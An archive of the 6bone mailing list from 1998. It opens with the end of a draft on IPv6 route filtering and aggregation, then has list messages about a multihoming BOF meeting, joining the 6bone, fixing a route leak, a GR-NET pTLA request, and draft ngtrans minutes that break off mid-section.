    The 6bone backbone is made of a mesh interconnecting pTLAs only.
    pNLAs connect to one or more pTLAs and provide transit service
    for leaf sites.

    BGP4+ is the mandatory routing protocol used for exchanging
    routing information among pTLAs.

    Multi-homed sites or pNLAs SHOULD also use BGP4+.
    Regular sites MAY use a simple default route to their ISP.

    This memo will cover:

    1) link local prefixes
    2) site local prefixes
    3) special case prefixes: loopback prefix & unspecified prefix
    4) multicast prefixes
    5) IPv4-mapped prefixes
    6) IPv4-compatible prefixes
    7) Yet undefined unicast prefixes (from a different /3 prefix)
    8) default routes
    9) agregation & advertisement issues
   10) Inter site tunnel issues



1) link local prefixes
----------------------

    Link local prefixes MUST NOT be advertized through neither an IGP
    or an EGP.

    By definition, the link local prefix has a scope limited to a
    specific link. Since the prefix is the same on all IPv6 links, 
    advertising it in any routing protocol does not make sense and, worse,
    may introduce nasty error conditions.

    Well known dangerous cases where link local prefixes could be
    advertised by mistake are:
    - a router advertising all directly connected networks including
      link local ones.
    - subnets of the link local prefix

    In such cases, vendors should be urged to correct their code.



2) site local prefixes
----------------------

    Site local prefixes MAY be advertized by IGPs or EGPs within a site.
    The precise definition of a site is ongoing work discussed
    in the IPng working group.

    Site local prefixes MUST NOT be advertised to transit pNLAs or pTLAs.



3) special case prefixes
------------------------

    a) loopback prefix ::1/128
    b) unspecified prefix ::/128

    Loopback prefix and unspecified prefix MUST NOT be advertised
    by any routing protocol.



4) multicast prefixes
---------------------

    Multicast prefixes MUST NOT be advertised by any unicast
    routing protocol.



5) IPv4-mapped prefixes
-----------------------

    IPv4-mapped prefixes MAY be advertised by IGPs withing a site.
    It may be useful for some IPv6 only nodes within a site to
    have such a route pointing to a translation device. 

    IPv4-mapped prefixes MUST NOT be advertised by EGPs.




6) IPv4-compatible prefixes
---------------------------

    Sites may choose to use IPv4 compatible addresses internally.
    As they is no real rationale today for doing that, this practice
    SHOULD be discouraged in the 6bone.

    The ::/96 IPv4-compatible prefixes MAY be advertised by IGPs.

    IPv4-compatible prefixes MUST NOT be advertised by EGPs to
    transit pNLAs or pTLAs.




7) yet undefined unicast prefixes 
----------------------------------

    a) from a format prefix different from 2000::/3
    b) from a prefix different from 3ffe::/16 (6bone prefix)

    Such prefixes MUST NOT be advertised by any routing protocol
    in the 6bone.

    In particular, RFC1897 test addresses MUST NOT be advertised
    on the 6bone.



8) default routes
-----------------

    6bone core pTLA routers MUST be default free.
    pTLAs MAY advertise a default route to its pNLAs.
    Transit pNLAs MAY do the same for their leaf sites.


9) agregation & advertisement issues
-------------------------------------

    Route aggregation MUST be performed by any border router.

    Sites or pNLAs MUST only advertise to their upstream provider
    the prefixes assigned by that ISP unless otherwise agreed.

    Site border router MUST NOT advertise prefixes more specific
    than the /48 ones allocated by their ISP.

    pTLA MUST NOT advertise prefixes longer than 24 to other pTLAs
    unless special peering agreement are implemented.


10) inter site links
--------------------

    Global IPv6 addresses MUST be used for the end points of the
    inter-site links. In particular, IPv4 compatible addresses
    MUST NOT be used for tunnels.

    Prefixes for those links MUST NOT be injected in the global
    routing tables.



Security considerations
-----------------------

    The result of bogus routing tables is usually unreachable sites.
    Having guidelines to aggregate or reject routes will clean up
    the routing tables. It is expected that using this guidelines,
    routing will be less sensitive to denial of service attacks
    due to misleading routes.

    The 6bone is a test network. Therefore, denial of service,
    packet disclosure,... are to be expected.


Author address
--------------

    Alain Durand
    Institut d'Informatique et de Mathematiques Appliquees de Grenoble
    IMAG  BP 53 38041 Grenoble CEDEX 9 France
    Phone : +33 4 76 63 57 03
    Fax   : +33 4 76 51 49 64
    E-Mail: Alain.Durand@imag.fr

    Bertrand Buclin
    AT&T International S.A.
    Route de l'aeroport 31 CP 72
    CH-1215 Geneve 15 (Switzerland)
    Phone : +41 22 929 37 40
    Fax   : +41 22 929 39 84
    E-Mail: Bertrand.Buclin@ch.att.com

From 6bone-owner  Mon Mar 30 09:58:34 1998
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Date: Mon, 30 Mar 1998 09:58:04 -0800
To: Francis Dupont <Francis.Dupont@inria.fr>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: multihoming BOF
Cc: ngtrans@sunroof.eng.sun.com
In-Reply-To: <199803301536.RAA05095@givry.inria.fr>
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Francis,

At 05:35 PM 3/30/98 +0200, Francis Dupont wrote:
>We have not enough time to discus multihomed multiprovider stuff
>at the NGTRANS sessions and there are some conflicts with other
>WG sessions (ie not everybody could come).
>I propose a short BOF at lunch time before the NGTRANS session
>Tuesday in the same room (Avalon which should be free) and
>if possible before (ie close to 14h00 not 11h15).

I don't understand your time above.  Are we meeting in Avalon at noon or
11:30 or ...?


>The purpose is to get opinions/advices from ISPs because
>proposed solutions have obviously strong not-technical constraints.
>Documents are :
> RFC 2260: Scalable Support for Multi-homed Multi-provider Connectivity
> draft-ietf-ngtrans-6bone-multi-00.txt
>Report (if we collect enough material) will be at the NGTRANS session
>(cf the agenda).
>
>Francis.Dupont@inria.fr
> 

From 6bone-owner  Mon Mar 30 12:32:48 1998
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Bob Fink <rlfink@lbl.gov>
cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
Subject: Re: multihoming BOF 
In-reply-to: Your message of Mon, 30 Mar 1998 09:58:04 -0800.
             <1320870587-440445193@cnrmail.lbl.gov> 
Date: Mon, 30 Mar 1998 22:32:17 +0200
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 In your previous mail you wrote:

   I don't understand your time above.  Are we meeting in Avalon at noon or
   11:30 or ...?
   
=> the break is from 11h15 to 14h00. I propose to begin as late as
possible in order to be not too hungry during NGTRANS sessions.
It seems it is possible to eat soon then I propose 13h15 (this gives
three quarters for both eat and BOF).

Regards

Francis.Dupont@inria.fr

From 6bone-owner  Mon Mar 30 13:23:33 1998
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Date: Mon, 30 Mar 1998 16:19:29 -0500
To: ngtrans@sunroof.Eng.Sun.COM, Bob Fink <rlfink@lbl.gov>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: (ngtrans) Re: multihoming BOF 
Cc: 6bone@ISI.EDU, ngtrans@sunroof.Eng.Sun.COM
In-Reply-To: <199803302032.WAA08042@givry.inria.fr>
References: <Your message of Mon, 30 Mar 1998 09:58:04 -0800.             <1320870587-440445193@cnrmail.lbl.gov>
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I'm still not sure to understand also.

break is from 11h15 to 13h00,  not to 14h00.

Why don't we meet somewhere in this large hotel for lunch and discuss
together there?  I've seen in the hotel brochure some sushi/japanese food
restaurant in the 3rd or 4th floor, why not lunch and discuss there at 11h30?

Regards, Marc.

At 22:32 98-03-30 +0200, Francis Dupont wrote:
> In your previous mail you wrote:
>
>   I don't understand your time above.  Are we meeting in Avalon at noon or
>   11:30 or ...?
>   
>=> the break is from 11h15 to 14h00. I propose to begin as late as
>possible in order to be not too hungry during NGTRANS sessions.
>It seems it is possible to eat soon then I propose 13h15 (this gives
>three quarters for both eat and BOF).
>
>Regards
>
>Francis.Dupont@inria.fr


>

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp: 57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifié, Éditions Logiques, 1997
------------------------------------------------------------

From 6bone-owner  Mon Mar 30 14:51:45 1998
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Bob Fink <rlfink@lbl.gov>
cc: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
Subject: Re: multihoming BOF 
In-reply-to: Your message of Mon, 30 Mar 1998 09:58:04 -0800.
             <1320870587-440445193@cnrmail.lbl.gov> 
Date: Tue, 31 Mar 1998 00:51:17 +0200
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 In your previous mail you wrote:

   I don't understand your time above.  Are we meeting in Avalon at noon or
   11:30 or ...?
   
=> Arg! I have completely messed the time-table. The break will be
from 11h15 to 13h00, then I propose 12h15 at Avalon (until the session
at 13h00).

Thanks

Francis.Dupont@inria.fr

From 6bone-owner  Mon Mar 30 15:24:28 1998
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Subject: Re: (ngtrans) Re: multihoming BOF 
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             <199803302251.AAA01811@givry.inria.fr> 
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Date: Mon, 30 Mar 1998 15:17:21 -0800
From: Richard Johnson <raj@cisco.com>
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> => Arg! I have completely messed the time-table. The break will be
> from 11h15 to 13h00, then I propose 12h15 at Avalon (until the session
> at 13h00).
> 
> Thanks
> 
> Francis.Dupont@inria.fr

Too bad.  I liked the previous idea of meeting at the Japanese place.

/raj

From 6bone-owner  Wed Apr  1 08:12:16 1998
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Folks,

This site was causing router problems and it has been reported.  The
person maintaining this site has left the company and things got messed
up.  Digital is fixing this one way or the other now.

For the future on the 6bone Cabletron and Digital are now separate eng'g
groups for this kind of testing.  So if your running a Cabletron
Routabout please make sure you have connection to them.  It is the same
folks, just the name has changed. 

Also our backbone site at DIGITAL-CA is running a Cisco for IPv6
Routing.

thanks
/jim

From 6bone-owner  Thu Apr  2 02:42:03 1998
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Date: Thu, 2 Apr 1998 14:41:10 +0400 (MSD)
From: "Roman V. Palagin" <romanp@wuppy.rcs.ru>
To: 6bone@ISI.EDU
Subject: How I can Join 6BONE?
Message-ID: <Pine.BSF.3.96.SK.980402142709.329A-100000@room101.wuppy.rcs.ru>
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Hello.

I just read 'How to join the 6bone' page, and 'steel unclear about
anything' :). I've only one question - where i can find step-by-step guide
about joining 6BONE? What should I do first?

Thanx.

-----------------------------------------------------------------------------
Roman V. Palagin                            Network Administrator - RP40-RIPE
-----------------------------------------------------------------------------
          FreeBSD 3.0-CURRENT #21: Thu Apr 2 13:02:16 MSD 1998


From 6bone-owner  Thu Apr  2 05:11:32 1998
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Subject: Re: How I can Join 6BONE?
References: <Pine.BSF.3.96.SK.980402142709.329A-100000@room101.wuppy.rcs.ru>
From: Lars Albertsson <lalle@sics.se>
Date: 02 Apr 1998 15:07:13 +0200
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> Hello.
> 
> I just read 'How to join the 6bone' page, and 'steel unclear about
> anything' :). I've only one question - where i can find step-by-step guide
> about joining 6BONE? What should I do first?

Hi Roman

You should find a 6bone provider willing to connect to you. The
provider will give you an address space and a router to which you can
tunnel your packets.

If you want, we are willing to host you, although the connection is
bad (40-50% packet loss, avg rtt 3-4s). If you have better
connectivity to other 6bone sites, you should probably get a 6bone
connection elsewhere.

Regards

Lalle

From 6bone-owner  Thu Apr  2 06:27:16 1998
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HELP!!!

Can somebody send me sample configuration files for INRIA IPv6
with _detailed_ explanations how to setup IPv6-IPv4 tunnel.

Thanx


From 6bone-owner  Thu Apr  2 08:13:22 1998
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To: 6bone@ISI.EDU
Subject: Re: How I can Join 6BONE? 
In-reply-to: Your message of "Thu, 02 Apr 1998 14:41:10 +0400."
             <Pine.BSF.3.96.SK.980402142709.329A-100000@room101.wuppy.rcs.ru> 
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I echo Roman Palagin's question.  Does a step by step guide exist for
us newbies???

thank


-- 
STEVE DAKNIS SENDS

sdaknis@cs.wm.edu
     or
daknii@compuserve.com

http://www.cs.wm.edu/~sdaknis/sdaknis.html


From 6bone-owner  Thu Apr  2 10:12:31 1998
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Jim, 6bone folks

I've been working on the routing problem caused by the DIGITAL-BE site. 

Both the routers at DIGITAL-BE (from different vendors) seemed to have
incorrect config's which were allowing routes they received from my site
at DIGITAL-ETC and other places to leak back out to the 6Bone via
SURFNET. Both these config's have been changed (thanks BB for your help
there). One was done yesterday (1st April) and the other this morning at
about 0930 CET. Hopefully the changes will be reflected in tomorrow's
report from Merit.

Looking at the routing tables today via the G6 and CSELT web sites it
appears the errant routes have disappeared. It took some time to purge
them out of the system but I cannot see any now. I'll check tomorrow
morning when the new merit report comes out.

Sorry for the delay in getting to fix this. The owner for the DIGITAL-BE
site is Guido.Remans@digital.com <mailto:Guido.Remans@digital.com> .
Guido has only taken over recently but is now running things. 

Apologies to all for the bother - I guess this is what "test" networks
are for...

Bob

Robert (Bob) Watson
Internet:   WatsonRob@digital.com
DTN:	828-5142
Extn:	+33 (0)4 92 95 5142	Fax:	+33 (0)4 92 95 6235
Home:	+33 (0)4 93 44 0410
Mobile:	+33 (0)6 14 73 3881
Digital Equipment European Technical Center
950, Route des Colles - BP027 - 06901 Sophia Antipolis CEDEX - FRANCE

	----------
	From:  bound@zk3.dec.com [SMTP:bound@zk3.dec.com]
	Sent:  01 April 1998 18:12
	To:  6bone@ISI.EDU
	Subject:  DIGITAL-BE Site Route Problems

	Folks,

	This site was causing router problems and it has been reported.
The
	person maintaining this site has left the company and things got
messed
	up.  Digital is fixing this one way or the other now.

	For the future on the 6bone Cabletron and Digital are now
separate eng'g
	groups for this kind of testing.  So if your running a Cabletron
	Routabout please make sure you have connection to them.  It is
the same
	folks, just the name has changed. 

	Also our backbone site at DIGITAL-CA is running a Cisco for IPv6
	Routing.

	thanks
	/jim

From 6bone-owner  Thu Apr  2 10:44:11 1998
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Date: 02 Apr 1998 12:44:00 -0600
From: "Paul V Maggitti" <PAUL.V.MAGGITTI@cdev.com>
To: 6bone@ISI.EDU (Return requested)
Subject: Request for using FreeBSD-current with IPv6/IPv4 tunneling
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  If somebody answers the e-mail below, please send me the same
  configuration files.

  Thanks.

  Paul Maggitti
  ---------------------- Forwarded by Paul V Maggitti/CDev/Ceridian on
  04/02/98 12:42 PM ---------------------------

  (Embedded image moved to file: PIC001.PCX)
  romanp @ wuppy.rcs.ru at Internet on 04/02/98 11:51:00 AM

  To:   6bone @ ISI.EDU at Internet@CCMAILEXCHANGE
  cc:    (bcc: Paul V Maggitti/CDev/Ceridian)
  Subject:  Using FreeBSD-current on 6BONE


HELP!!!

Can somebody send me sample configuration files for INRIA IPv6
with _detailed_ explanations how to setup IPv6-IPv4 tunnel.

Thanx

  

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--PART.BOUNDARY.quasar.6953.3523dc71.0001--

From 6bone-owner  Fri Apr  3 00:02:06 1998
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From: jan.novak@aliatel.cz (Jan Novak)
To: "6bone@ISI.EDU" <6bone@ISI.EDU>
Cc: "'Lars Albertsson'" <lalle@sics.se>
Subject: Re: How I can Join 6BONE?
Date: Fri, 3 Apr 1998 09:59:55 +0200
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I do not see to be problem to find people willing to connect somebody to 6bone, but, PLEASE,
where is somebody knowing somewhat about IPv6 software to Cisco routers - I contacted
local distributors of Cisco, they contacted TAC Brussels, I contacted directly Cisco according
to 6bone www page contacts without any response yet......


Any hints appreciated -) ...

 Thanks Jan




> Hello.
> 
> I just read ?How to join the 6bone' page, and ?steel unclear about
> anything' :). I've only one question - where i can find step-by-step guide
> about joining 6BONE? What should I do first?

Hi Roman
You should find a 6bone provider willing to connect to you. The provider will give you an address space and a router to which you can tunnel your packets.
If you want, we are willing to host you, although the connection is bad (40-50% packet loss, avg rtt 3-4s). If you have better connectivity to other 6bone sites, you should probably get a 6bone connection elsewhere.
Regards
Lalle



From 6bone-owner  Fri Apr  3 12:29:56 1998
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Date: Fri, 3 Apr 1998 15:29:47 -0500
From: Christian Kuhtz <chk@eng.bellsouth.net>
To: 6bone@ISI.EDU
Subject: UUNET contact for 6bone
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Hello:

I was wondering whether the 6bone contact for UUNET happens to be listening
and would mind getting in touch with me..  

Any pointers to designated stuckies welcome as well. ;-)

Thanks in advance!

Best regards,
Chris

-- 
Christian Kuhtz <chk@eng.bellsouth.net> (770) 522-4000            BellSouth.net
                                                          Sr. Network Architect
I speak only for myself, and my opinion belongs to me.        Atlanta, GA, U.S.




From 6bone-owner  Fri Apr  3 13:31:30 1998
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Date: Fri, 03 Apr 1998 13:30:49 -0800
To: Christian Kuhtz <chk@eng.bellsouth.net>, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: UUNET contact for 6bone
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Christian,

At 03:29 PM 4/3/98 -0500, Christian Kuhtz wrote:
>
>Hello:
>
>I was wondering whether the 6bone contact for UUNET happens to be listening
>and would mind getting in touch with me..  
>
>Any pointers to designated stuckies welcome as well. ;-)

Use the 6bone registry whois service for uunet-uk, and you will see the
following person record:

person:      Guy Davies
address:     UUNET (UK)
address:     Internet House
address:     332 Cambridge Science Park
address:     Milton Road
address:     Cambridge
address:     CB4 4BZ
address:     UK
phone:       +44 1223 250122
fax-no:      +44 1223 250133
e-mail:      guyd@uk.uu.net
nic-hdl:     GD31-RIPE
mnt-by:      AS1849-MNT
changed:     guyd@uunet.pipex.com 960715
changed:     guyd@uk.uu.net 19970609
source:      RIPE


Bob

	

From 6bone-owner  Mon Apr  6 09:14:28 1998
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Date: Mon, 06 Apr 1998 09:13:27 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: pTLA request from Greek Research NETwork
Cc: Yiorgos Adamopoulos <adamo@ajax.noc.ntua.gr>,
        Costas Troulos <ktroulos@ajax.noc.ntua.gr>,
        Dimitris Kalogeras <dkalo@ajax.noc.ntua.gr>, pssara@duth.gr
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6bone folk:

I have received the following pTLA request from Yiorgos Adamopoulos
representing the Greek Research NETwork (GR-NET).  They have responded to
all my pTLA rules and I am thus soliciting comments from the list before
assigning this pTLA.

It appears to me to be a fully qualified request and am inclined to issue
the pTLA unless hearing sound reasons to the contrary.

Anyway, please respond to either me or the list with any comments prior to
close of business April 10.


Thanks,

Bob

====================================
Date: Thu, 2 Apr 1998 18:47:07 +0300 
From: Yiorgos Adamopoulos
<Y.Adamopoulos@noc.ntua.gr> 
To: rlfink@lbl.gov 
Cc: Yiorgos Adamopoulos
<adamo@ajax.noc.ntua.gr>, Costas Troulos <ktroulos@ajax.noc.ntua.gr>,
Dimitris Kalogeras <dkalo@ajax.noc.ntua.gr>, pssara@duth.gr 
Subject: pTLA
request 


Dear Bob,

Reagrding the assignment of a pTLA, I hereby send you the answers for your
questions, on behalf of the GRNET-NOC.  

--
1. Must have experience with IPv6 in the 6bone, at least as a leaf site and
preferably as an NLA transit under a pTLA.

I am writing this letter to request a pTLA.  The Greek Research NETwork
(GR-NET
hereafter) through its member the Demokritos University of Thrace (duth.gr) 
has served as a leaf node.

Major experience was gained through constant interaction with various aspects
of IPv6 (tunnelling, routing etc.).  We will use Cisco routers, Sun and HP
workstation, and PCs with various Unix flavors.  GR-NET intends to deploy a
large base of IPv6 networks in major (~ 25)  Greek universities and technical
education institutes. The appropriate funds have been granted through a
research programme of  ministry of education.

We will build two tunnels, one with Cselt/IT and the other with BTLABS/UK thus
utilizing our Internet connections (10 Mbps with TEN-34 @ Italy and 2 Mbps
with BT @ NL).

2. Must have the ability and intent to provide "production-like" 6bone
backbone service to provide a robust and operationally reliable 6bone
backbone.

GR-NET is the Greek National Research & Technology Network, providing Internet
services to the Academic and Research community. It is a project recently
launched by the General Secretariat for Research and Technology (GSRT), the
government agency responsible for the coordination and development of research
and technology activities in Greece. Co-funded by the European Union, GR-NET
is included in the 2nd Framework Support Programme, with a budget of 5.000.000
ECUs for 3 years.

GR-NET interconnects Universities and Research Centers in Greece, as well as
the Research Departments of relevant organisations. It provides high-speed
reliable interconnection among the above as well as international Internet
connectivity via two lines:

               · a 10 Mbps line to Italy (IP over ATM),
               · a 2 Mbps line to Amsterdam,

GR-NET participates in the European Organisation DANTE that interconnects
European academic and research networks as well as in the TEN-34 project.
TEN-34, is a consortium of European Union research networks funded by the
Telematics Applications Programme and Information Technologies of DG XIII that
interconnects European academic and research networks at high speeds (from 10
Mbps to 34 Mbps).

GR-NET topology includes, at the first phase, network nodes in 6 major greek
cities, that is, Athens, Thessaloniki, Patras, Ioannina, Xanthi and Heraklion.
The main gateway is located in the greek PTT's building in Athens, consisting
of two interconnected routers.

GR-NET also administers the Athens Internet eXchange (AIX) which interconnects
the major ISPs of Greece. In this way GR-NET can expose the Greek Internet
community (except from the academic one) to the new era  of IPv6.

GR-NET is also a regional (Southeast branch of Europe and  Mediterranean)
provider by interconnecting the academic Bulgarian and Cyprus networks.
Israel, Lebanon and other national academic research networks  are about to
get connected.


3. Must have a potential "user community" that would be served by becoming
a pTLA, e.g., the requester is a major player in a region, country or focus
of interest.

GR-NET interconnects  the academic communities of  Greece, Cyprus and
Bulgaria.
The user community currently served is about 500.000 students and researchers
in Greece only. (data taken from a recent survey ).

4. Must commit to abide by whatever the 6bone backbone operational rules
and policies are .

We state that GR-NET will commit to the operational rules of IPv6 now and
in the
future.

GR-NET as Local Internet Registry (LIR) assigned from RIPE follows  the
principles of Internet Registry (cautious management of Internet resources
i.e. addresses and route aggregation).  Through this activity GRNET has
increased interaction  with the academic community. GR-NET will inform the
academic community about the current and future  principles of IPv6 (i.e
address allocation).
--

If you need any futher clarification on any of the above (or even other)
questions, we'd be more than happy to answer them.  This email is also sent
to:

Dr. Dimitrios Kalogeras (GRNET-NOC routing / Network Manager)
Mr. Costas Troulos (GRNET / NTUA NOC IPv6 contact)
Mr. Panagiotis S. Saragiotis (DUTH Network Manager)

Relevant URLs that can serve as apendices to this application are:

	http://www.grnet.gr/
	http://www.grnet.gr/aix/
	http://www.gsrt.gr/
	http://www.duth.gr/

On behalf of the GRNET-NOC,

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE

-end

From 6bone-owner  Mon Apr  6 09:19:49 1998
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Date: Mon, 06 Apr 1998 09:18:48 -0700
To: "6bone@ISI.EDU" <6bone@ISI.EDU>, jan.novak@aliatel.cz (Jan Novak)
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: How I can Join 6BONE?
Cc: Lars Albertsson <lalle@sics.se>
In-Reply-To: <01BD5EE7.4284D5E0@novak_j.eng.aliatel.cz>
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Jan,

At 09:59 AM 4/3/98 +0200, Jan Novak wrote:
>I do not see to be problem to find people willing to connect somebody to
6bone, but, PLEASE,
>where is somebody knowing somewhat about IPv6 software to Cisco routers -
I contacted
>local distributors of Cisco, they contacted TAC Brussels, I contacted
directly Cisco according
>to 6bone www page contacts without any response yet......

It is my understanding that Cisco is limiting their current field test
version of IPv6 to certain established large sites and their collaborators.
 Thus it seems the way to get this code for 6bone use it to find one of
these sites and become a collaborator with them so they arrange for you to
get the code.

I would appreciate any comment from a knowledgeable Cisco IPv6 site on this
issue.


Thanks,

Bob

From 6bone-owner  Tue Apr  7 03:20:41 1998
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Date: Tue, 07 Apr 1998 12:20:07 +0200
From: Thomas Seidmann <seidmann@dcs.elf.stuba.sk>
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Hello,

I am pround to announce the presence of a new country on the 6bone -
Czech Republic. The site CODALAN is connected through STUBA for now and
its ipv6-site object is already in the 6bone registry under the same
name.

Regards,
Thomas
-- 
==========================================================
Dipl.-Ing. Thomas Seidmann
Department of Computer Science and Engineering
Slovak University of Technology in Bratislava
mailto:seidmann@dcs.elf.stuba.sk Tel +421.7.60291153
==========================================================

From 6bone-owner  Tue Apr  7 07:53:28 1998
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To: Thomas Seidmann <seidmann@dcs.elf.stuba.sk>, 6bone@ISI.EDU
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Subject: Re: New country
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Thnomas,

At 12:20 PM 4/7/98 +0200, Thomas Seidmann wrote:
>Hello,
>
>I am pround to announce the presence of a new country on the 6bone -
>Czech Republic. The site CODALAN is connected through STUBA for now and
>its ipv6-site object is already in the 6bone registry under the same
>name.

Good news indeed!  I have added CZ to the country code list on the country
web page.  Tomorrows country scan of the 6bone registry should see CZ
appear in the actual discovered country list.


Thanks for letting us know, and welcome to CODALAN and CZ.

Bob

From 6bone-owner  Tue Apr  7 12:41:45 1998
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Date: Tue, 7 Apr 1998 12:40:49 -0700 (PDT)
From: Yajie Lee <lee_y@cs.unr.edu>
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Anybody there can tell me his/her host's v6 address(es) so I can use them
to test my machines? Or where I can find that information?
thanks, Yajie


From 6bone-owner  Tue Apr  7 14:02:46 1998
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From: Bob Fink <rlfink@lbl.gov>
Subject: Re: V6 address
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Yajie,

At 12:40 PM 4/7/98 -0700, Yajie Lee wrote:
>
>
>Anybody there can tell me his/her host's v6 address(es) so I can use them
>to test my machines? Or where I can find that information?

If you want to join the 6bone you will eventually be able to participate in
IPv6 testing, but as a generality you don't just get an address to test to
the way you seen to be asking.


Bob

From 6bone-owner  Wed Apr  8 01:59:37 1998
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        martynas@vingis.sc-uni.ktu.lt
Subject: Re: New country
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From: Lars Albertsson <lalle@sics.se>
Date: 08 Apr 1998 10:59:15 +0200
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Speaking of new countries, we have a tunnel to Lithuania, although I
don't think they have registred in the 6bone registry yet.

Lalle


> >I am pround to announce the presence of a new country on the 6bone -
> >Czech Republic. The site CODALAN is connected through STUBA for now and
> >its ipv6-site object is already in the 6bone registry under the same
> >name.
> 
> Good news indeed!  I have added CZ to the country code list on the country
> web page.  Tomorrows country scan of the 6bone registry should see CZ
> appear in the actual discovered country list.
> 
> 
> Thanks for letting us know, and welcome to CODALAN and CZ.
> 
> Bob
> 

From 6bone-owner  Thu Apr  9 14:40:03 1998
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Date: Thu, 09 Apr 1998 14:39:43 -0700
To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov>
Subject: draft minutes of ngtrans wg meeting at LA IETF - 9Apr98 version
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6bone & ngtrans folk,

Here is our first draft of the ngtrans minutes from the LA IETF.

Please send me any comments by the 20th.


Thanks,

Bob

________________________________________________________________________
________________________________________________________________________

ngtrans WG meeting
March 31, 1988
Los Angeles, CA IETF

Chairs:       Bob Fink rlfink@lbl.gov
              Robert Gilligan gilligan@freegate.com
              Tony Hain tonyhain@microsoft.com

Reported by Bob Gilligan, Alain Durand and Bob Fink

________________________________________________________________________

ngtrans tools portion of meeting, chaired by Tony Hain

Discussion:   ngtrans@sunroof.eng.sun.com
Subscribe:    majordomo@sunroof.eng.sun.com  "subscribe ngtrans"
Archive:
<ftp://playground.sun.com/pub/ngtrans>ftp://playground.sun.com/pub/ngtrans>
<ftp://playground.sun.com/pub/ngtrans>ftp://playground.sun.com/pub/ngtrans

Web site:
<http://www.6bone.net/ngtrans.html>http://www.6bone.net/ngtrans.html><http:
//www.6bone.net/ngtrans.html>http://www.6bone.net/ngtrans.html


____

AIIH I-D- Jim Bound

Jim Bound gave an overview on his new Internet-Draft titled
"Assignment of IPv4 Global Addresses to IPv6 hosts (AIIH)".  Note that
the acronym for this proposal has changed from NNAT to AIIH.  This
Internet-Draft replaces the earlier NNAT I-D.

The general objective of this proposal is to allow IPv6/IPv4 dual
hosts configured with permanent global IPv6 and get temporary
assignments of IPv4 global addresses to use when communicating with
IPv4 hosts.  This conserves the IPv4 address space since a small pool
of global IPv4 addresses can be used by a larger number of IPv6/IPv4
hosts.  This proposal does NOT employ header translation.

The proposal uses an "AIIH server" situated at the boundary between an
IPv4 and an IPv6 cloud which operates both as a DNS and DHCP server.
The AIIH server handles IPv4 DNS queries for IPv6/IPv4 hosts; assigns
temporary IPv4 addresses to IPv6/IPv4 hosts, and manages tunnels to
IPv6/IPv4 hosts.  The IPv6/IPv4 hosts use DHCP to acquire their
temporary IPv4 addresses.  Two cases of communication are handled:

   1)   IPv6/IPv4 host initiating communication with an IPv4 host.
   2)   IPv4 host initiating communication with an IPv6/IPv4 host.

IPv4 packets between the IPv6/IPv4 host and the AIIH server can be
carried in three forms:

   1)   Tunneled in IPv6.
   2)   Tunneled in IPv4.
   3)   Carried as native IPv4 packets.

More details on this proposal can be found in Jim's slides are located
at:

<ftp://sipper.zk3-x.dec.com/pub/aatn_aiih_0498.zip>ftp://sipper.zk3-x.dec.c
om/pub/aatn_aiih_0498.zip
<ftp://sipper.zk3-x.dec.com/pub/ngtrans_aiih_0498.zip>ftp://sipper.zk3-x.de
c.com/pub/ngtrans_aiih_0498.zip

A few questions were raised in the discussion of this proposal:

   -    Someone asked what specific changes an IPv6 host implementation
        would need to make in order to implement AIIH.  Jim said that
        the primary change would be adding the facility to acquire an
        IPv4 address via DHCP when needed.

Jim would like feedback on this proposal now.  He plans on releasing
an updated version of this document before the Chicago IETF meeting.

____

NAT-PT I-D- George Tsirtsis & Pyda Srisuresh

George Tsirtsis presented his new Internet-Draft titled "Network
Address Translation - Protocol Translation (NAT-PT)".  This is a
revision of his earlier I-D of the same name.  This draft adds a lot of
new material and is about 3 times larger than the old version.

The general objective of this proposal is to allow areas of IPv6-only
nodes, or IPv6/IPv4 dual nodes using only IPv6 addresses (no IPv4
addresses), to be deployed.  This would allow sites to achieve the
benefits of converting a site completely to IPv6, avoiding the need
to maintain and administer IPv4 throughout the site.

The proposal employs techniques analogous to IPv4 NAT and port
translation to allow IPv6 nodes to communicate with IPv4 nodes.  It
envisions NAT-PT translator nodes being deployed at the borders of
IPv6 networks.  The same technique could be used for stub dual
IPv6/IPv4 networks, or stub IPv4 networks.

The NAT-PT translator nodes perform stateful header translation
between IPv4 and IPv6, basing the translation on mappings between IPv6
addresses and IPv4 addresses that are generated on the fly (in
response to traffic) or in response to DNS queries.  The translators
may manage pools of IPv4 addresses that are used for these mappings.
Additionally, they may intercept and translate DNS queries and replies.

Changes to the I-D in this version include:

   -    Extended to allow the use of any prefix
   -    Added some new DNS interactions
   -    Added support for port translation
   -    Merged in the header translation mechanisms from Erik Nordmark's

        SIIT Internet-Draft

The presentation walked through three different scenarios: one case of
an IPv6 node initiating communication with an IPv4 node, and two cases
of an IPv4 node initiating communication with an IPv6 node.

More details of the proposal can be found in George's slides at:

<ftp://ftp.labs.bt.com/pub/tsirtsg/41-IETF-NATPT.zip>ftp://ftp.labs.bt.com/
pub/tsirtsg/41-IETF-NATPT.zip

Several issues were raised in the discussion that followed:

   -    Tony Hain pointed out that the document needs to discuss
        applicability of this technique (what types of sites could use
        it, what types should not), and also needs to discuss scaling
        issues.

   -    Brian Carpenter suggested that the group needs to consider how
        this technique would combine with the various other transition
        techniques, and API issues it raises.

   -    Concern was raised about the translation of DNS queries and
        replies.  It was not clear whether this could be made to work
        with signed DNS queries/replies.

____

SMTP issues in IPv4/v6 environment - Kazuhiko Yamamoto

